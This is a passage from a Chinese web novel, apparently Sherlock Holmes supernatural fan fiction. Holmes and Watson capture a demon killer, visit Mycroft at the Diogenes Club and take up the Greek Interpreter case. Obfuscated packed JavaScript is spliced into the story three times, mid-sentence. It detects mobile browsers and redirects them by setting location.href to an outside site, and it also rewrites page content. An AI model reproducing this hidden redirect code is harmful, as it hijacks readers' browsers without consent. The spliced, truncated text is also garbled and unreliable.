死者口中的月光花与群星草的气息，在他们这群与神秘侧关联颇深的人看来，简直浓郁得盖过死者身上呛人的香水味。 自然，他们就在现场碰到了雷斯垂德与其下属的其他成员。 介于反正暂时无法离开，作为饭后消食活动，歇洛克在观察现场不到十分钟后的时间，就直接对雷斯垂德宣布凶手身份。 在雷斯垂德诧异的询问“什么？！凶手不是那位服务员？！”的时候，侦探看看他，语气是一如既往的不留情面。 “看样子，你升上去的只有官职，而不是你的智商。仔细想想吧雷斯垂德！策划这残忍一切的，明显是餐厅经理，而不是服务员，哦——当然也不是你另一个备选答案里的厨师。” 雷斯垂德还没来得及问，他是怎么知道，自己有怀疑厨师下毒这件事。 接下来这来不及解释的真相，就在餐厅经理破窗而逃的事实中被直观有力地证实。 现在他和雷斯垂德追在这个两腿生风的餐厅经理身后，恨不得快要跑遍了大半个夜晚的伦敦城。 “站住！呼——这家伙怎么能跑这么快？！” 由雷斯垂德领队，跟在他和约翰身后的其他第四组外勤成员们已经跑得脸色发白，双腿打颤。 雷斯垂德不满地回头看他们，觉得回头得加练。 “你们最近怎么回事！苏格兰场每个月发给你们的薪水难道不够买面包？” 除了梅森以外的其他队员们叫苦连天。 “最近感觉身体很迟钝，有的时候甚至连力量都很难自如地掌握。” “原来你也有这样的感觉吗？！我还以为只有我一个！” “我也是！” “现在可不是闲聊的时候。”约翰忽然出声。 “射击！”雷斯垂德直接拔/枪，“不能让他跑了！否则明天还会有新的受害者出现！” 黑夜中响起参差不齐的射击声，但除了雷斯垂德的子弹外，其他人的射击精度根本不与成为使者后强悍的身体素质相匹配。 眼看凶手就要窜进小巷，一鼓作气借助那里正在维修而未闭合的下水道逃离，约翰猛然抬手，扣下自己左轮手/枪的扳机。 这发子弹精准命中凶手的左小腿。 在对方惨叫一声的同时，第二发子弹就命中了他的右小腿。 图谋着人类灵魂的恶魔这下彻底失去自由行动的能力。 “可恶……回头一定要杀了他们……” 他的身形在刹那间猛然变得松软稀烂，仿佛一滩污泥往路边渗去。 秘银的子弹还在持续对他造成强大的伤害，但当他将身体用某种秘技转化为半液态的时候，就能暂时摆脱那些仿佛烈火灼烧的伤害。 就当拐角后的医生与警探们跟过来后，看见地面上打开的井盖时，有大半的人都露出遗憾的神情。 “逃到下水道去了？” “主啊！这怎么找？！” “需要明天调动苏格兰场的普通警力了吧！仅靠我们这些人数根本不可能找到他的。” 就在众说纷纭的时候，侦探的声音从他们身后传来。 “用不着第二天再解决。” 约翰回过头看去，“歇洛克！” 之前从餐厅出来的时候，他说既然路过某处，就去拜访看看，所以现在才和他们重新会合。 “你能找到他吗？” 雷斯垂德看了眼空空如也的小巷，以及似乎隐约能听见凛冽风声的下水道入口。 地下的黑暗，简直和地上的雾气一样浓郁。 想要在这种情况下重新追到丢失行踪的犯人，这可不是一件轻松的事情。 其他队员在看见歇洛克的那刻就闭上了嘴，他们眼睛盯着他，像是无声地在质疑“这怎么追？”。 侦探说道：“仔细观察，你们难道找不到他的位置吗？” 雷斯垂德又回头看那阴森恐怖的小巷与下水道入口。 “……” “还在外部……但我们没能追上？” “是啊是啊，完全追不上！” “侦探……虽然报纸上都说他们很厉害，不过我看之前也不过是因为有本笃大主教他们在场的缘故。” …… …… 四周的谈论声开始变得嘈杂起来。 歇洛克挑了挑眉，刚想说话之前，约翰骤然拔高的提醒就打断了所有人的声音。 “我看到了！左手边三米外墙角！” “不错的观察，满分100，在这里一众只有15分的惨淡答卷里，我能给你打70分。” 歇洛克袖中手杖滑落，犹如臂使狠狠击中想从墙角阴暗处逃离的烂泥。 犯人根本没有走下水管道逃离。 正是已经提前预料了这样的情况可能出现，伦敦的下水道里有大量经由白骑士团第一组与福音教会成员联手改造过的水银壁灯。 普通人行走其中不会感到异样，但使者和恶魔等超凡存在进入内部的时候，会感觉被烈火焚烧的楚痛。 所以动用超凡力量杀人的犯人只是伪装成从下水道离开，实际隐匿了气息龟缩在墙角，伺机等待逃跑的机会。 如果刚才没有歇洛克与约翰，可能他们真的就要放跑这个犯人了！ 犯人慌不择路地从众人脚下化作一道速度极快的黑影逃窜。 此时人数越多，反而成了互相的绊脚石，想要抓住黑影，却留下了更多可供逃跑的缝隙。 歇洛克看了眼他们，语气淡淡地提醒。 “雷斯垂德，你的队员质量下降得真是厉害。” 被击飞的黑泥直接扑到刚才质疑他们能力的队员脸上，扑面而来的恶意吓得他当场两股战战，放声尖叫。 黑泥毫不客气踩住他的脸，灵敏地一跳就往巷口逃去。 歇洛克伸手摘下自己出行时戴上的礼帽，然后猛然掷向巷口。 像是从天而降的捕网抓住狡猾的野兔，在趁对方逃之夭夭前，就结束了不必要的追逐战。 愤怒的凶手还想再叫骂几句，但连人带声音都先被关进了那看起来平平无奇的黑色礼帽之中。 雷斯垂德连忙拾起那只内部像是装了兔子，正在不断折腾的礼帽。 接着他尴尬地朝歇洛克说道： “真是抱歉，福尔摩斯先生……回头我会赔给你一顶新帽子的。” 现在这顶可能就要被当成危 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053465|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 险的超凡物品收容在圣保罗教堂里。 他回头看了看彻底丢了颜面，倒地不起的某位队员。 歇洛克说道：“他没死。” “啊，倒不是担心这个。” 不知何时，他也不像之前那样恐惧着这位侦探。 给这群不知天高地厚的小子们一点教训，他是很乐意的，不过被超凡生物扑面，还突然经历如被河水般的恶意冲击，一般队员很容易发疯两个三月。 雷斯垂德走远了些，单独和歇洛克、约翰说接下来的话。 “只是觉得最近不仅是我们第四组，其他组里也有人的超凡能力在……退化。” “退化？”歇洛克问。 雷斯垂德点头。 “对，难以置信的……但的确如此。” “很多人像是无法继续从信仰的天使那里获得力量，就连反应速度、身体素质也逐渐退化。” 他有些担忧地看向东南方，福音教总部圣保罗大教堂，和皇宫都在那个方向。 “如果我想的没错的话。” 歇洛克话至一半，在看见他们身后手忙脚乱捉兔子似的一群年轻人时，选择摇摇头，暂时未继续说下去。 “总之这件事我也关注了，回头可能再去问问专家的意见，这样或许能得到合理的解释。” “不得不说，听到这句话的时候，我甚至是松了口气的。” 雷斯垂德真的做出松了口气的姿势。 “总觉得福尔摩斯先生其他的朋友，应当也是一个拥有特殊才能的人。” “你似乎误会了什么。” 歇洛克说道： “更何况你能肯定，我到时候对你说的话的正确性吗？” “倒不如说，之前你比那群小伙子们还要质疑我说的每句话。” 雷斯垂德仔细思索了一下。 他先是看向医生，然后才看向侦探。 “说实话，如果是现在的你，我觉得是值得被信赖的。” “你最近也看报纸了吧，自打华生医生刊登了部分你们经手的案件后，已经有不少人将你们两位称为‘伦敦的守护者’了。” “……” 沉默了几秒，侦探才说道： “其实这也是出乎我意料的地方。” 约翰笑着拍拍好友的肩膀。 “我觉得这个称号，歇洛克你是实至名归。” 侦探不自然地动了动，咳嗽了一声。 “总之……” “如果有关于这件事的消息的话，我会拍电报给你的，雷斯垂德。” “我们先回去了。” 几分钟后。 坐上总是神乎其神出现在拐角后，看似随处可见的公共马车时，约翰惊奇地发现车夫还是熟悉的年轻人。 “我记得你，年轻的小伙子！”约翰说道：“谢谢你当时把我们送到金玫瑰庄园。” 对方笑起来的时候露出尖尖的小虎牙。 “哪里的话，先生，这是我的职责。” 歇洛克也看过去，“哦！看样子你已经成功在贝克街租房入住了，我记得你的名字叫加尔文。” “是的，托两位的福，我接到了越来越多的单子，赚了钱就在贝克街租房了。”加尔文笑得灿烂，“果然是非常好的地段，而且很安逸。” 歇洛克点点头，但看向车厢窗外时，语气不由带上些许凝重。 “但这种安逸，或许持续不了太长的时间。” 50.50 第二天下午五点，歇洛克领着约翰来到雷根斯圆形广场。 约翰抬头看去。 “第欧根尼俱乐部……我以前从未关注，或者听闻这里有这样一个规矩古怪的俱乐部。” “不主动关注，就不会发现它的存在。”歇洛克说道，“它最初存在的意义，也非为寻常人设立。” 约翰看着第欧根尼俱乐部的招牌标志上，绘着一只憩在果园外树下酣睡的黑熊。 他像是明白了什么。 “这果然不是普通的俱乐部？” “毕竟，我刚才提到的人——迈克罗夫特，也并非寻常人士。”歇洛克说道。 两人走进俱乐部。 约翰在某个愣神的瞬间，只感觉这里人声鼎沸，好像无数存在同时开口说话，也在同时讨论无数古今的主题。 粗听仿佛巨大的熔炉吞吐着海量的蒸汽，将黄铜的锅盖顶得扑腾作响。 但如果仔细听去，又会诧异地发现，谈话的不同音色同时讨论着不同的话题。 一个人如何在进行着一个话题的时候，还能吐词流畅，条理清晰地和其他人同时讨论另一个话题？ 短暂的头晕目眩后，没有等约翰仔细深究的机会，刚刚那阵嘈杂就在某个嘶哑的声音中消失得一干二净。 “欢迎来到第欧根尼俱乐部。” “迈克罗夫特已经在陌生人房间等着两位。” 喧哗的讨论声就像从来没有出现过一样，从进入俱乐部大门开始或许就是一片寂静。 往来于这里的客人只安静坐在沙发旁，看着自己手中的报纸或书籍。 除了立在门边木杆上的白色乌鸦口吐人言外，无人开口说话。 这也是歇洛克之前和他提起过的，属于第欧尼根俱乐部的古怪规矩。 能够流利对话的白色乌鸦。 古怪的俱乐部成员。 不知道接下来会发生什么的未知感。 这些都没有让他感觉慌张。 也许是因为与歇洛克这位好友一起行动着，好奇心反而催促着他继续往前一探究竟。 约翰里面看了眼，竟然还见到了居住在他们公寓附近的其他眼熟邻居。 不过对方此时一言不发，像是全神贯注于自己手中的读物。 “歇洛克，我感觉这里还挺有趣的。”约翰忍不住说道。 “难得有如此评价，更多的人只会说，这是古怪的人创立的古怪俱乐部，俱乐部里古怪的规则会吸引古怪的成员做一些古怪的事。” 歇洛克挑挑眉。 约翰说道，“不过，也许换个角度来看，这些古怪的事情就不再古怪，只应被称为是他们独特的交流方式而已。” “我喜欢你的解释，华生医生。” 被称之为陌生人房间的房间大门被打开，久候其中的男人一边低头看书，一边呵呵笑道： “我看到了你的惊讶，你心中在想，刚才见到的几位是不是你的邻居，是吗？” “他们的确是，并且其中大部分都是很有礼貌的先生和女士们，来此也是和我一样，是为了更深入地了解人类社会的相关知识。” 他这样说着话，视线却一直没有落在进门的两人身上。 可他竟然能准确说出约翰刚才心中的疑惑。 这是一位身材看起来高大宽厚的男士，坐在房间沙发上等候他们的时候，手边桌面与脚边地面上竟然已经堆了不少或薄或厚的书。 他一目十行地看完手上这本书的最后一页，然后暂时愉悦满足地合上书本，将它放到一边去。 “欢迎来到第欧尼根俱乐部。” 他说了一句和白鸦一模一样的开场词，然后邀请他们坐下。 “想必歇洛克已经和你做了些介绍，我是迈克罗夫特，也是这家规则古怪的俱乐部的发起人。” “您好，迈克罗夫特先生。” “真是令我吃惊，您居然能猜到我心中所想。” 约翰吃惊地说道。 迈克罗夫特笑道，“不，这不是猜测，而是推理。” “你的袖口有点湿润，且沾染着玫瑰的香气，说明你几分钟不小心差点打翻放在屋外窗边的花瓶，不过因为没有听见瓷器碎裂的声音，说明你手脚灵敏地抢救了花瓶的生命，顺带将沾水的玫瑰重新放了进去。” “而那个位置是金伯恩先生惯常的座位，他是家住贝克街的俱乐部会员。” “偶遇熟悉的人，想必华生医生你当然会觉得好奇。” “哦——正如您所说，这完全就是我几分钟前的心中想法。” 约翰从他身上嗅到了一些与歇洛克类似，但又不太相同的气息。 “恕我冒昧，您与歇洛克的关系是……” “我？” “我原本以为，他与我是同类存在，不过现在看来我们还是有很多不同的。” “歇洛克的精力可比我旺盛多了。” 没有起身和他们握手相迎的迈克罗夫特，像是看到了非常有趣的一幕。 他兴趣盎然地反问约翰。 “有人觉得我是一个古怪的陌生人，也有人觉得我是不可或缺的英国百科全书，还有人觉得我是政府工作的一块基石，当然不乏有人觉得我只是个懒惰的家伙。” “说到底，华生医生觉得我是谁？” 歇洛克没有说话，像是和眼前这个人一起等着他的回答。 “我觉得？”约翰一愣，他开口说道，“不知道这么说是否冒犯。” “我觉得您比较像歇洛克的兄长。” “我第一次听到有人这么形容。” 迈克罗夫特哈哈大笑起来，像是觉得他的结论非常有趣。 “但为什么这么说，医生？” “只是……我的直觉？” 约翰说道： “不过这个答案，除了您以外，恐怕只有歇洛克能告诉我。” 问题似乎又被抛给了歇洛克。 歇洛克看了看约翰，“你在问我的想法吗？” “当然。”约翰理所当然地说道，“因为你们相识。” “你是会相信我说的答案吗？”歇洛克问道。 “如果是你说的话，我当然会相信。”约翰说道，“你可是我的舍友，我的搭档，我的挚友！” 迈克罗夫特若有所思。 【要把打开盒子的权限交给歇洛克吗……那么真的说明，他或者说他们，认可了你，歇洛克。】 “歇洛克，你的看法是？” 迈克罗夫特饶有兴趣地看向歇洛克。 歇洛克陷入了短暂的沉默之中。 像是经历了深思熟虑，他才开口。 “【迈克罗夫特……他的确和我流有相同根源的血脉。】” “【但他与我并不完全相同。】” “【他更加聪慧机敏，看待问题，进行分析时也更抽丝剥茧，直指核心。】” “【不过，遗憾的是，他的性格非常懒散，能坐在椅子上完成的，他是绝对不会站起来外出去做的。】”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15058750|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “【你觉得我们相似，是因为我们的确是‘出自同一血脉’，也可以称之为‘家人’】。” 约翰像是恍然大悟。 “你们是家人？这么来看，迈克罗夫特先生你的确是歇洛克的兄长了！” “哈哈哈哈，成为他的兄长，也是我的荣幸。” 迈克罗夫特笑道。 就在歇洛克说刚才那番话的时候，他的身形从片刻的恍惚变得更加凝实。 “不过，被承认的感觉，还真是有趣。” “再次自我介绍一下，华生医生，我是‘迈克罗夫特·福尔摩斯’。” 歇洛克看着迈克罗夫特，微微眯起眼。 “放心。” “我之前对你说的话，不是交易，而是承诺。” 迈克罗夫特说道。 约翰左右看看他们两人。 “先生们。” “你们这是在打什么哑迷吗？” “是我曾经和歇洛克做的一个小赌注，显然我输了，所以现在是时候由我来兑现它。” 后者终于舍得从房间的沙发上起身，然后从抽屉里拿出一个眼熟的黑匣子。 “这是之前我们从黑街拍卖会带回来的匣子？” 约翰一看就认出了它。 “我记得，里面装着的是一把匕首。” 歇洛克先点头，随后又摇头。 “我们看到的是匕首，但实际上它不仅仅是一把匕首。” 约翰思索着这句话。 “你的意思是，匣子里装着的东西，在神秘意义上不仅是一把匕首这么简单？” “不过以歇洛克你的知识储备，也无法辨认出这样东西代表什么吗？” “事实上，论起知识的储备，我远远没有眼前这位的多。” 歇洛克看向迈克罗夫特。 “所以，我才将这样东西交由他来分析。” 迈克罗夫特指了指【黑匣】。 “不负‘弟弟’的期望，我一眼就辨认出它是什么，顺带还另外有了一些有趣的推测，只等去证实。” 歇洛克挑眉。 迈克罗夫特笑道： “总之，说回【黑匣】。” “匣子里装的是【力量】。” “【力量】？”约翰有些疑惑地重复，“这是什么意思？” “正如字面表达的意义。” 迈克罗夫特解释。 “如果举出更直观的例子，就是人想要达成什么目的，是需要【力量】的。” “想要推开一扇门，需要【力量】；想要打倒一个对手，需要【力量】。” “更宏观一点，如果你想成为上流社会的常客，甚至在政府部门担任重要职位，也需要【力量】。” 他敲了敲外表坚硬的【黑匣】。 “【力量】的载体随时可以改变，你需要打开一扇门，它就是一把钥匙；你需要打倒一个敌人，它就是一把/枪；你需要成为一名贵族……如果【力量】足够强大，它就是一金库的金银财宝。” 约翰尝试着理解他的话，接着有些难以置信地做出一个猜测。 “我们捕捉到的是这种东西吗……？” “那岂不是说明，我只要拥有匣子中的东西，就能轻易不劳而获？” 迈克罗夫特说道： “非常到位的总结。” “但据我分析，你们捕捉到的【力量】更具有特定的作用，它是一把特殊的钥匙，是一把打开【果园】大门的钥匙。” 51.51 “【果园】？” 约翰重复着最后这个单词，感觉它在整体语境里，突兀得就像夜晚莫名升起的太阳一样显目。 “这是某个地方的代称吗？” “的确。” 迈克罗夫特不紧不慢地做出解释。 “在人们惯有的形容里，更多将其称呼为‘阿瓦隆’‘黄金乡’或者‘伊甸园’等等。” “都是神话里，或者宗教意义上象征美好富足之地的……代称？” 约翰跟着他的讲解思索着。 迈克罗夫特点头。 “金银、权势，乃至死者苏生，时间倒流，永恒欢乐等，都能在这个地方实现。” “但从根本的神秘学意义上来说，是因为你得到了【力量】，这种无比强大的【力量】足以让你实现上述那些在常理中，无法达成的梦幻奇迹。” “这种【最强的力量】，被称之为【果实】。” “不过想要获得最后的【果实】，就需要先有【力量】到达它的所在地，也就是【果园】，并打开那里的大门。” 约翰下意识看向【黑匣】。 “所以，匣子里装的是相对而言更薄弱一些的【力量】。” “但是现在这【力量】并不充足。” 迈克罗夫特的话，让坐在对面的两人同时看向他。 他继续说道： “这里的【力量】只够你们找到【果园】。” “或。” “打开【果园】的大门。” 他强调了中间的连接词。 随后，迈克罗夫特又说道： “你们知道在神秘侧，【力量】的本源组成是什么吗？” 歇洛克说道：“是灵魂，人类灵魂里凝结着【奇迹】。” “【奇迹】会凝聚组成【力量】。” 霎时间，约翰看清了那些由魔鬼们犯下罪孽的根源线索。 祂们大肆收割灵魂，不仅仅是为了填饱口腹之欲，更是为了得到足够的【力量】，以窃取最后的【果实】。 “但是魔鬼们需要最后的【果实】……需要那庞大的【最强的力量】去做什么？” 约翰不由低下头思考。 许久以前就同主与天使一起存在的魔鬼。 祂们在人们的认知里，已经接近无所不能。 即便祂们的行事作风常有悖人伦，但因为无比强大，所以时刻吸引着走投无路的人如飞蛾扑火，凄惨地赌上自己的灵魂想换取一线希望。 深渊地狱是和云上天堂相对应的名词，人们似乎坚信，在那黑暗的深处同样埋藏着魔鬼们搜刮来的宝藏。 或许披上美好幻觉的外皮，那处也能够被称之为“黄金乡”“伊甸园”。 如此并不稀缺财富、武力，同时拥有几近长生寿命的存在，还在渴求着什么样的【力量】？ 歇洛克同样陷入沉思。 迈克罗夫特沉吟片刻。 “其实我已经有一个猜想，不过需要时间和机会去验证。” 歇洛克看他，“你要亲自去看看吗？” 迈克罗夫特笑道： “当然不，我虽然也成为了‘舞台演员’之一。” “但我可不是四处奔波的主人公。” “我说的验证机会应该很快就能到来，为此我做了些许准备，你们回头应该可以用上。” 说着，他将话题引入另一个关键节点。 “我这里有一起不同寻常的案件，解决此案，或许对你们两位接下来会在冒险中遇到的困难有所帮助。” 门外的白鸦抓着一封信飞进这里，在他们三人头顶盘旋几圈后，将信件扔下。 歇洛克伸手抓住那封晃晃悠悠掉落眼前的信封。 上面写着寄信人名为梅拉斯。 迈克罗夫特说道： “这是住在楼上的梅拉斯先生的来信。” “他在信里讲述了，不久前在某个深夜遇到的奇怪经历。” 这位叫作梅拉斯的先生在前几日的深夜中，被一位神秘的先生雇佣，以一名希腊语翻译员的身份，去游说另一名先生签下某份契约。 他本身就是一名优秀的翻译人员，做过很多类似的委托。 原本以为这只是接待某位在商务上性格难缠的顾客，但他没想到的是，前往雇主拉蒂默指定的地点时，竟然还要蒙住双眼、堵住双耳，乘坐被黑布彻底蒙住的马车，在经过多趟曲折的道路后，才到达一座看起来位于某偏远郊区的别墅前。 此外，和他进行对话的希腊人状况也很是糟糕。 对方的言辞谈吐，说明他应该是个体面的希腊富人，可他除了脸部以外，露在衣服外的手脚表面都是被殴/打过留下的青紫交加。 而雇主拉蒂默先生，只让梅拉斯拿着一份看不懂文字的契约书，让他反复用希腊语询问、哄骗、恐吓对方在这上面签名。 歇洛克一目十行地扫过信件，然后提炼出其中的关键信息。 “这位梅拉斯先生是个聪明人，他在反复几天同样的古怪流程中察觉到了不对。” “加上在与那位像是受到折磨的先生对话中，察觉了他的雇主几乎不懂希腊语，于是他开始谨慎地在对话中逐渐加入其他问题，来询问那位先生的基本情况。” “和他进行对话的希腊人叫保罗·莱文蒂，按照他的话而言，他是被囚/禁在那间远郊别墅里的。” “他说，雇佣梅拉斯来的那群人无疑是歹徒、是绑匪，是诱骗他亲爱的妹妹离家出走的混蛋骗子。” “所以梅拉斯先生的雇主，想让那位莱文蒂先生签署一份内容非常不利的契约文件？” 一起凑过来看的约翰猜测。 “比如财产转让之类的……？” 迈克罗夫特笑而不答，只问道： “要接手这个案件吗？” 歇洛克将快速浏览完毕的信件又递给好友，然后他思索片刻说道： “既然是你的推荐，那么我们很乐意揭秘。” 仿佛见证了什么非常不得了的进步，迈克罗夫特这次笑得格外愉悦开心。 他起身，对肩头的白鸦说道： “去与梅拉斯先生说，有能力出众的侦探和他同样能干的助手接受了委托，可以帮他解决难题，并请他来陌生人房间一叙前几日深夜里的详细经过。” 白鸦咕嘎叫了两声，往楼上的方向飞去。 *** 梅拉斯先生看起来是一位非常具有学究气息的中年人。 歇洛克：“梅拉斯先生，其实我们无意打扰您的休息时间，当然我看您最近似乎忙于翻译一本文学著作，今日一整天也忙于这件事。” 梅拉斯瞪圆眼睛，“主啊！你怎么知道我在忙着加班翻译……” 迈克罗夫特：“梅拉斯，你胸前的衬衫口袋里还夹着翻译时查找字典的随手笔记，右手中指和食指侧边沾着些许刚染上的墨水印记，虽然身上披着居家外套，但你还带着眼镜，显然是正在工作。不过据我观察，在几分钟前，你应该刚好全部结束你的翻译工作。” 梅拉斯的眼睛瞪得更圆了。 “是这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061257|157846||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的——！但、但，我的意思是——天哪，你们两位简直是料事如神！” 约翰打趣地说道：“我相信他们两位肯定会说，‘这是观察得到的结论’。” 歇洛克露出些许笑意。 迈克罗夫特也发出大笑。 “的确如此。” “因为梅拉斯先生你的指尖有些许泛红，你碰到那里的时候，有下意识的轻微疼痛表情，应该是寄出翻译手稿之前盖戳的时候不小心烫伤了自己。” 歇洛克轻轻呼出一口气。 “的确如此……是我的疏忽。” 听到这里，约翰算是清晰直观地明白为什么歇洛克会说，迈克罗夫特的观察意识和判断能力更加出色。 若是像歇洛克所言，他不是钟爱自己的躺椅大于外出，那他早就成为闻名全英，乃至全欧洲、全世界的杰出侦探。 “不过我们邀请梅拉斯先生来，可不仅仅是比试我们的观察能力。” 迈克罗夫特说道。 他看向梅拉斯。 “为了解决信中提到的那件事，请你详细讲述一下自己身上发生的经过。” 梅拉斯点点头。 像是因为信服他们两人刚刚展现出的能力，他更加详细叙述了一遍发生在自己身上的离奇经过。 大体的过程和文字中描述的别无二样，不过梅拉斯在提到那位雇主的时候，再度加上几个充满个人情绪的形容词。 “几位先生！那个叫作拉蒂默的男人并不好惹！” “每次我被蒙住眼睛耳朵，乘坐漆黑的马车前往那个偏远别墅的时候，与我同行的还有一个手持利器的凶猛恶汉！” 他用力喘了口气，像是回想起当时的场景，还有些心有余悸。 “他们警告我，不能将这几晚翻译的事情告诉其他人，也不要想着报警，否则我将为此付出代价。” 梅拉斯满脸苦涩。 “可是，那位保罗·莱文蒂先生看起来情况十分糟糕，而且我看得出来，他非常关心自己的妹妹，不想她将自己的余生托付给哄骗她的错误男人。” “我无法违背自己的良心，所以那笔丰厚的报酬也没有动，只希望能找到一位靠谱的帮手，解救那位可怜的先生和他的妹妹。” 约翰放下记录的纸笔，然后对梅拉斯说道： “梅拉斯先生，你的举措是正确的！” “这样的善心也一定能帮助我们更顺利地救出那位莱文蒂先生和他的妹妹。” 这些话给了梅拉斯鼓舞，他感谢地朝他点点头。 接着梅拉斯又根据侦探的提问，补充了一些细节回答。 最后他说道： “先生们，这就是我前几晚经历的一切了。” 歇洛克点头说道： “大概的情况我们已经了解。” “还有最后一个问题，梅拉斯先生。” “拉蒂默那群人，这几天有再让你去那间别墅做翻译吗？” 梅拉斯说道：“是的……其实下次的时间就在今晚凌晨一点，那时会有一辆蒙着黑布的马车停在我家楼下，然后再出发。” “我试过拒绝，然而……” 说着，他的神情越发惶恐不安。 “他们威胁我，要掂量一下自己和家人的安危。” 约翰咬牙，“这群无法无天的歹人！” 歇洛克思索几秒，然后对梅拉斯提议。 “那么梅拉斯先生，我有一个提议。” “不如今晚，就让我假扮成你的模样，去他们的巢穴一探究竟。” 52.52 “这样真的没问题吗？福尔摩斯先生。” 梅拉斯有些紧张地看向自己家中紧闭的客房方向。 他在来回踱步几圈后，问身旁拿着一本书的迈克罗夫特。 迈克罗夫特选了个舒服的位置坐下。 即便是等待的时间，他也喜欢阅读书籍。 上至天文地理，下至人文小说，很少有他不涉及的主题。 他阅读理解的速度向来很快，不同常人的大脑让他不会过度浪费时间在无意义的思考环节中。 迈克罗夫特向来高效地珍惜和使用每一分每一秒的时间。 在这具身体彻底崩坏前，他想要抓紧时间，再多看看这些凝结着思想、感情和倾诉的有趣文字产物。 “不用担心，梅拉斯先生。” “我这位弟弟的大名，想必你也已经在报纸上见过，他和他的助手会帮你成功解决问题的，你只需要准备好报酬即可。” 说话间，迈克罗夫特手里的书册已经快看完三分之一。 “这是当然的……不过我有些担心他们两位的安全。” 梅拉斯忐忑不安。 “那群人看上去是真的会行凶！” “万一他们两位受伤怎么办？” 迈克罗夫特笑道： “放心吧，那位华生医生的枪法比你设想得还要果决精准。” “更何况，万一真的受伤，想必皇家医学院会非常乐意接手为他们治疗。” 说着，那间客房的门从里侧被打开。 迈克罗夫特抬眼，“哦？来了。” 梅拉斯看过去，接着他张大嘴，满脸都写着惊讶。 “主、主啊！” 门里走出来的这个人和他一模一样，简直如同同卵双生的兄弟互相注视着对方。 他们两个站在一起的时候，连身高都没有区别。 “您……您是歇洛克·福尔摩斯先生？！” 梅拉斯用力擦擦自己的眼睛。 “货真价实。”另一个“梅拉斯”的口中冒出的正是侦探的声线，“利用一些易容的技巧，我应当能天衣无缝地骗过那群歹徒的眼睛。” 随后他微微弓腰，咳嗽了两声，改变声线后再说道： “若是顺利，这件事很快就能解决，梅拉斯先生你也不用一直担惊受怕。” 这样他好像就彻底成了一个常年伏案，从事翻译工作的优秀译员。 迈克罗夫特放下手中已经读完的这本书，然后转头看了眼不远处的座钟。 “时间差不多了，歇洛克。” 穿着外出服饰的“梅拉斯”点点头。 他理了理领带上的装饰宝石夹，脸上浮现些许惶恐与不安，如同一个普通人一样，按照梅拉斯惯常的步调往楼下走去。 梅拉斯看了看已经空无一人的客房，表情疑惑。 “我记得华生先生刚刚不也是在里面的吗？” 迈克罗夫特说道： “他们已经一起出发了。” 梅拉斯一脸疑惑地又看了看没有人的客房。 此时迈克罗夫特坐在扶手椅上，他掀起窗帘的一角，看见那个“梅拉斯”主动走上那辆被黑布蒙住车厢的马车内。 迈克罗夫特喃喃低语着。 【那么……在盗窃者偷走最后的果实之前，你们能将果园的大门重新闭合吗？】 *** 黑布蒙住了眼和耳，于是人类最重要的两个对外信息收集的途径就被阻挡。 但这样的方式阻挡不了心灵上的对话。 【果然哈德森太太的收藏品里总有作用很奇妙的……】 【但这枚宝石领夹回头需要浸泡在烈酒中，至少三天无法使用。】 【另外，约翰，能看见车厢里的情况吗？】 “梅拉斯”先生脸上的布条遮挡不住他表情里的惊慌，但他在心中询问的语气依旧镇定冷静。 【光线很暗，但稍稍能看清一些车里的情况。】 【有一个孔武有力的壮汉坐在你的对面，脚边还放着很粗的木棍。】 那只宝石领夹在黑暗中无声地传达着信息。 在这样的情况下，他就相当于侦探的双目和双耳。 【另外……歇洛克，这应该不是我的错觉，我好像从那名打手的身上嗅到了群星花和月光草的气息。】 【车厢外的灯光明暗，与明显声响可以察觉吗？】 【十分钟前的灯光是有节奏的明暗交错，目前走过的一段路很黑。】 【声音的话，刚刚是马蹄落在石砖地面的声音，现在是压过草地的声音……哦！歇洛克！有蒸汽火车轰隆轰隆的噪声，但是不明显，只持续了不到十秒就结束了。】 一直行驶的马车在此时停下。 然后耳目上的黑布被扯开，响起了一名壮汉粗声粗气的催促声。 “不需要我催你吧，赶紧下车，梅拉斯先生。” 侦探在心中说道： 【他们一路谨慎地绕了很多地方，但我已经知道这地方到底是哪里，等等我会想办法通知雷斯垂德的。】 【约翰，接下来你单独行动去找文莱蒂小姐的时候务必小心。】 【我知道。】 看上去不善武力的译员被推搡着走下马车，他的脸色苍白，像是仍旧因为今晚突兀的邀约而感到不安紧张。 “不是说翻译的交易已经结束了吗？” 站在这座地处偏僻别墅门边的男人举着煤油灯说道： “我们可是付了比市场价更多钱给你的，梅拉斯先生。” “但是我向你保证，这是最后一次请你来做翻译。” 他正是之前雇佣了梅拉斯来做翻译的拉蒂默。 单看外表，这位拉蒂默先生的确是眉宇轩昂，一身装扮不俗，像是一位拥有不菲家产的成功商人。 